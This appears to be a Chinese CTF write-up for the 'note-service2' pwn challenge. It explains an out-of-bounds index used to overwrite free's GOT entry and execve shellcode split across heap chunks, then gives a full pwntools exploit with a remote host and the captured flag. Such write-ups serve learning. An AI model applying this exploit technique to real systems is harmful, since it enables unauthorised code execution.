XCTF note-service2

查程序保护机制
在这里插入图片描述
开启了PIE和CANARRY
没有开启NX,堆栈具有可执行权限

IDA64载入程序,查看main函数
在这里插入图片描述
重点分析sub_E30();
在这里插入图片描述
经过分析得知sub_C56()是一个输出提示信息的函数,sub_B91()是获取用户输入值的函数
sub_DC1();sub_DD4();这两个函数的功能未完成
仅实现了sub_CA5();sub_DE7();这两个函数,这两个函数实现了添加和删除的功能
先分析sub_CA5()
在这里插入图片描述
通过分析得知v1是用户可控的,v1又是qword_2020A0这个数组的下标,所以这里存在数组下标越界漏洞,那么就造成我们可以把任意地址的8个字节覆写为我们申请的堆地址指针,通过数组下标越界我们可以修改got表里的内容为堆指针,程序未开启NX,所以我们可以在堆上布置shellcode;但是这里malloc的参数最高为8个字节,实际上根据我们仅可以写入7个字节
在这里插入图片描述
然而没有7个字节的shellcode,所以我们要对shellcode进行分割,存储在多个堆中,每个堆最后用两个字节(jmp short 0x000)跳转到下一段shellcode
Jmp short xxxx指令占用2字节,这条指令使用的是相对当前指令的下一条指令位置寻址的
我们创建堆是按照顺序来创建的,中间没有删除堆的操作,并且统一申请8字节的空间。
但是实际上根据64位系统堆的数据结构,至少有prev_size、size、fd、bk的空间,实际上的大小为8字节对齐到32字节。使用中的堆块的fd和bk被当成数据区,因此我们的数据是从fd这里开始的,但是因为程序的限制我们只能使用fd的8个字节(实际上我们可控的只有7个字节),导致后面的bk为0x8个字节的空数据。
在这里插入图片描述
每个chunk只有5个字节可以用来构造shellcode
上图中的0x19是通过(0x1 + 0x8 + 0x8 + 0x8)计算得到的
构造shellcode

;64位系统调用
mov rdi,xxxx;"/bin/sh"的地址
mov rax,0x3b;execve系统调用号
mov rsi,0
mov rdx,0
sycall

exp

#coding:utf8
from pwn import *
context.update(arch = 'amd64')
#cyberpeace{7671a4843dece62455ac8c90814e0205}
p = remote('111.198.29.45',40984)
#context.log_level = 'debug'

def add(index,content):
    p.recvuntil('your choice>>')
    p.sendline('1')
    p.recvuntil('index')
    p.sendline(str(index))
    p.recvuntil('size')
    p.sendline(str(8))    
    p.recvuntil('content')
    p.send(content)

def delete(index):
	p.recvuntil('your choice>>')
	p.sendline('4')
	p.recvuntil('index:')
	p.sendline(str(index))

"""
;64位系统调用
mov rdi,xxxx;"/bin/sh"的地址
mov rax,0x3b;execve系统调用号
mov rsi,0
mov rdx,0
sycall
"""
add(0,'/bin/sh')# 向第一个chunk中写入/bin/sh
add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
#把got表中free函数的指针覆盖为第二个chunk的指针
#然后在第二个chunk中写入
#xor rsi,rsi
#nop
#nop
#jmp 0x19
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xeb\x19')
#mov rax,0x3b的机器码站7个字节,而push 0x3b;pop rax只占3个字节
#push 0x3b
#pop rax
#nop
#nop
#jmp 0x19
add(2,asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
#
add(3,asm('syscall')+'\x90'*5)

delete(0)
#因为got表的free函数的地址被修改为我们第二个chunk的地址了,
#所以我们调用free的时候就跳转到了我们第二个chunk的数据段,
#因为这是一个64位程序的函数调用,所以程序会把我们第一个chunk的数据区的指针放入RDI;
#在64位的程序中,当参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

p.interactive()
发布了9 篇原创文章 · 获赞 3 · 访问量 237

猜你喜欢

转载自blog.csdn.net/qin9800/article/details/104752438
今日推荐